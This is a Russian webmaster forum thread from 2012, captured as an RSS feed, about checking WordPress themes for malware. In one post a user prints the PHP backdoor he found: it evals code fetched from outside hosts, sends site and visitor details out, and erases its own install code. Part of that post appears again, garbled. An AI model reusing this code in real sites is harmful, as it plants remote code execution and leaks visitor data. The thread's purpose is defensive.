Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. - Webmasters.ru - RSS
http://webmasters.ru/forum/showthread.php?t=37058
SEO форум вебмастеров - Поисковые системы, оптимизация, раскрутка сайта, оптимизация и продвижение сайта в поисковых системах1741988002Elesite CMS60http://webmasters.ru/forum/images/wm/misc/rss.pngSEO форум вебмастеров Webmasters.ru
http://webmasters.ru/forum
Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by voffka_m
http://webmasters.ru/forum/showpost.php?p=372818
Fri, 07 Dec 2012 07:41:04 GMTСобственно к чему я это решил спросить, я тут не давно столкнулся с такой бедой что в месте с темой на сайт прописывается зловред который потом добавляет скрытые ссылки на страницы сайта, вещь излечимая но все же не приятная.
Кто нибудь сталкивался с такой бедой?Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by CuxpecT
http://webmasters.ru/forum/showpost.php?p=372821
Fri, 07 Dec 2012 07:44:22 GMTнасколько я помню с чем-то подобным сталкивался 13-й
P.s. сам вп почти не использую, поэтому не смотрюВозможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by itup
http://webmasters.ru/forum/showpost.php?p=372823
Fri, 07 Dec 2012 07:45:01 GMTШаблон с офф. сайта или какого то варезника?Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by lexxx
http://webmasters.ru/forum/showpost.php?p=372824
Fri, 07 Dec 2012 07:47:00 GMTЯ, например, ВСЕ файлы шаблона проверяю перед установкой новой темы.
Во-первых, для проверки темы на "злой" код, во-вторых, для исправления ошибок автора темы.
А вообще, темы нужно проверять 100%. Очень много в инете зараженных тем.Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by voffka_m
http://webmasters.ru/forum/showpost.php?p=372826
Fri, 07 Dec 2012 07:48:45 GMTitup, ну тема вроде позиционировалась как бесплатная. Как на в самом деле хз.Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by vorons
http://webmasters.ru/forum/showpost.php?p=372832
Fri, 07 Dec 2012 07:58:06 GMTесть специальный плагин для проверки тем, как называется не помню (если найду, скину ссылку), проверяет на левые ссылки и остальноеВозможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by voffka_m
http://webmasters.ru/forum/showpost.php?p=372834
Fri, 07 Dec 2012 08:07:51 GMTВ общем может кому пригодится, я тут немного по исследовал данный вопрос, во что получается.
Чаще всего зловред обитает в файле functions.php, а именно:
add_action('after_setup_theme', '_theme_setup');
function _theme_setup(){
$value = 'return eval(file_get_contents(\'http://wpru.ru/aksimet.php?id=\'.$post->ID.\'&m=46&n\'));';
add_option('blogoption', $value, '', 'yes');
//selfterminate
$functions = file_get_contents(TEMPLATEPATH.'/functions.php');
$p1 = substr($functions, 0, strpos($functions, '//beginXX'));
$p2 = end(explode('//endXX', $functions));
file_put_contents(TEMPLATEPATH.'/functions.php', $p1.$p2);
}
add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}
После активации темы он видимо меняет это код на код следующего характера, так как на зараженных сайтах код что выше отсутствовал, за то был такой:
function wp_footer_() {
return @eval(get_option('blogoption'));
}
Так же на зараженных сайтах если выполнить запрос к базе:
SELECT * FROM `wp_options` WHERE `option_name` = 'blogoption'
Результат был такой:
global $post;return eval(file_get_contents('http://mytestlabs.com/wp5.php?ag='.strpos($_SERVER['HTTP_USER_AGENT'],'yahoo').'&p404='.is_404().'&p_id='.$post->ID.'&single='.(is_single()||is_page()).'&perm='.get_permalink().'&site='.$_SERVER['HTTP_HOST'].'&page='.$_SERVER['REQUEST_URI'].'&ip='.getenv('REMOTE_ADDR')));
Выводился эта беда в footer.php функцией wp_footer_(); как видно очень похожей на родную.
Весь этот зловред плодил на сайте скрытые ссылки, при просмотре их не было видно они скрывались с помощью css.
После удаления этого кода ссылки пропали.
---------- Сообщение добавлено 12:03 ---------- Предыдущее 12:01 ----------
vorons, а он проверяет до активации темы или уже непосредственно активированную тему на сайте?
---------- Сообщение добавлено 12:07 ---------- Предыдущее 12:03 ----------
lexxx, теперь я тоже :)ID.\'&m=46&n\'));';
add_option('blogoption', $value, '', 'yes');
//selfterminate
$functions = file_get_contents(TEMPLATEPATH.'/functions.php');
$p1 = substr($functions, 0, strpos($functions, '//beginXX'));
$p2 = end(explode('//endXX', $functions));
file_put_contents(TEMPLATEPATH.'/functions.php', $p1.$p2);
}
add_filter('the_content', '_bloginfo', 10001);
function _bloginfo($content){
global $post;
if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){
return $co;
} else return $content;
}
После активации темы он видимо меняет это код на код следующего характера, так как на зараженных сайтах код что выше отсутствовал, за то был такой:
function wp_footer_() {
return @eval(get_option('blogoption'));
}
Так же на зараженных сайтах если выполнить запрос к базе:
SELECT * FROM `wp_options` WHERE `option_name` = 'blogoption'
Результат был такой:
global $post;return eval(file_get_contents('http://mytestlabs.com/wp5.php?ag='.strpos($_SERVER['HTTP_USER_AGENT'],'yahoo').'&p404='.is_404().'&p_id='.$post->ID.'&single='.(is_single()||is_page()).'&perm='.get_permalink().'&site='.$_SERVER['HTTP_HOST'].'&page='.$_SERVER['REQUEST_URI'].'&ip='.getenv('REMOTE_ADDR')));
Выводился эта беда в footer.php функцией wp_footer_(); как видно очень похожей на родную.
Весь этот зловред плодил на сайте скрытые ссылки, при просмотре их не было видно они скрывались с помощью css.
После удаления этого кода ссылки пропали.
---------- Сообщение добавлено 12:03 ---------- Предыдущее 12:01 ----------
vorons, а он проверяет до активации темы или уже непосредственно активированную тему на сайте?
---------- Сообщение добавлено 12:07 ---------- Предыдущее 12:03 ----------
lexxx, теперь я тоже :)]]>Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by vorons
http://webmasters.ru/forum/showpost.php?p=372843
Fri, 07 Dec 2012 08:12:21 GMTvoffka_m,
а он проверяет до активации темы или уже непосредственно активированную тему на сайте?
насчетт этого честно незнаю, я его сам не проверял т.к. с wp не работаюВозможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by Werdik
http://webmasters.ru/forum/showpost.php?p=372853
Fri, 07 Dec 2012 08:34:29 GMTя пользуюсь плагином TAC. Ссылка на wordpress.org (http://wordpress.org/extend/plugins/tac/)
Плагин TAC ищет в коде шаблона зашифрованные внешние ссылки, которые оставляют создатели шаблонов для продвижения своих сайтов.
Установка плагина TAC. В админке блога находим раздел Плагины — нажимаем Добавить новый — и в открывшемся окне вводим в строку поиска его название: TAC.
Устанавливаем плагин TAC и активируем его. Для открытия страницы плагины найдите в разделе Внешний вид — нажмите TAC. Откроется страница на которой будут представлены результаты поиска закодированных ссылок в шаблоне по всем установленным темам на сайтеВозможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by donoway
http://webmasters.ru/forum/showpost.php?p=372855
Fri, 07 Dec 2012 08:36:53 GMTЯ не проверял раньше. Но недавно, заметил в одном шаблоне wp скрытые ссылки, теперь смотрю. Будьте внимательны! :)
Werdik, спасибо за плагин!Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by voffka_m
http://webmasters.ru/forum/showpost.php?p=372860
Fri, 07 Dec 2012 08:43:44 GMTWerdik, жалко что он тока показывает ссылки закодированные в base64, файлик functions.php все равно придется ручками проверять.Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by ADvi
http://webmasters.ru/forum/showpost.php?p=372914
Fri, 07 Dec 2012 10:36:04 GMTvoffka_m,проверьте еще раз. Как раз таки на base64 плагин чаще всего и кивает..Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by redapp
http://webmasters.ru/forum/showpost.php?p=372919
Fri, 07 Dec 2012 10:43:15 GMTСмотрю конечно. Особенно тщательно, если тему качаю с какого-нибудь левого сайта. Выше уже посоветовали TAC - прекрасный плагин для обнаружения всякой гадости.Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by pinskiy
http://webmasters.ru/forum/showpost.php?p=372962
Fri, 07 Dec 2012 11:48:53 GMTЯ когда-то скачал тему, в header.php которой было прописано noindex и nofollow всего контента. Так что, проверять темы - дело нужное.Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by Gunkin
http://webmasters.ru/forum/showpost.php?p=373748
Sun, 09 Dec 2012 07:01:00 GMTОбязательно проверяю, правда сначала ставлю, а потом смотрю левые ссылки в коде.Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by Ihor
http://webmasters.ru/forum/showpost.php?p=381715
Mon, 24 Dec 2012 17:20:35 GMTФайлы обязательны для проверки. особо часто вставляют подобные ссылки как кодированные так и не кодированные в footer functions. При этом выше voffka_m описывал довольно сложный вариант. Чаще вставляют скрипт PHP который рендомом выводит ссылки на главную, одиночную и рубрики. Убираешь и все нормально с шаблоном. Хитрецы вставляют код, но если убрать значение href, то шаблон отрубается. если заменить адрес чужой на свой, шаблон работает но вес передает не на чужой сайт а на свой. некоторые а ля VIP шаблоны содержат код Баннеров и ссылок, которые рекламируют создателя или ресурс, с которого скачали шаблон. Все можно убрать или заменить или в 90% случаев: functions, sidebar , footer .
Плагин TAC помогает очень хорошо, но иногда с functions случаются проколыВозможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by chak
http://webmasters.ru/forum/showpost.php?p=381732
Mon, 24 Dec 2012 17:53:23 GMTВсегда проверяю каждый файл шаблона. При чем не беглым взглядом, а "читаю код".
Кроме того, смотрю код различных модулей/плагинов (и не только для WP).
Время, знаете ли, такое сейчас...Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by Mikrob
http://webmasters.ru/forum/showpost.php?p=381736
Mon, 24 Dec 2012 18:05:00 GMTУже писали, что нужно установить плагин TAC, который показывает внешние ссылки.
Кроме того, проверяю код шаблона глазками в редакторе Notepad++. Все равно шаблон приходится редактировать под себя.
:cool:Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by VinCos
http://webmasters.ru/forum/showpost.php?p=381859
Mon, 24 Dec 2012 21:34:19 GMTСразу проверяю хедер, футер, функции, потом проверяю все ТАСом и очищаю остатки.Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by edison_m8
http://webmasters.ru/forum/showpost.php?p=463495
Sun, 12 May 2013 12:42:08 GMTсмотрят далеко не все, а надо бы...Возможно спрошу глупость, а все смотрят файлы темы пере установкой ее на Wordpress. by onigbinde
http://webmasters.ru/forum/showpost.php?p=463507
Sun, 12 May 2013 13:02:01 GMTTAC очищает далеко не все. Вручную тоже можно всего не найти да и приходится изучать подробно весь шаб. Тоже в свое время обжигался на этой теме. Что только не встречал в шабах :(. В итоге пришел к выводу, что лучше купить несколько паков шаблонов уже известных студий, чем возиться с бекапами серверов :(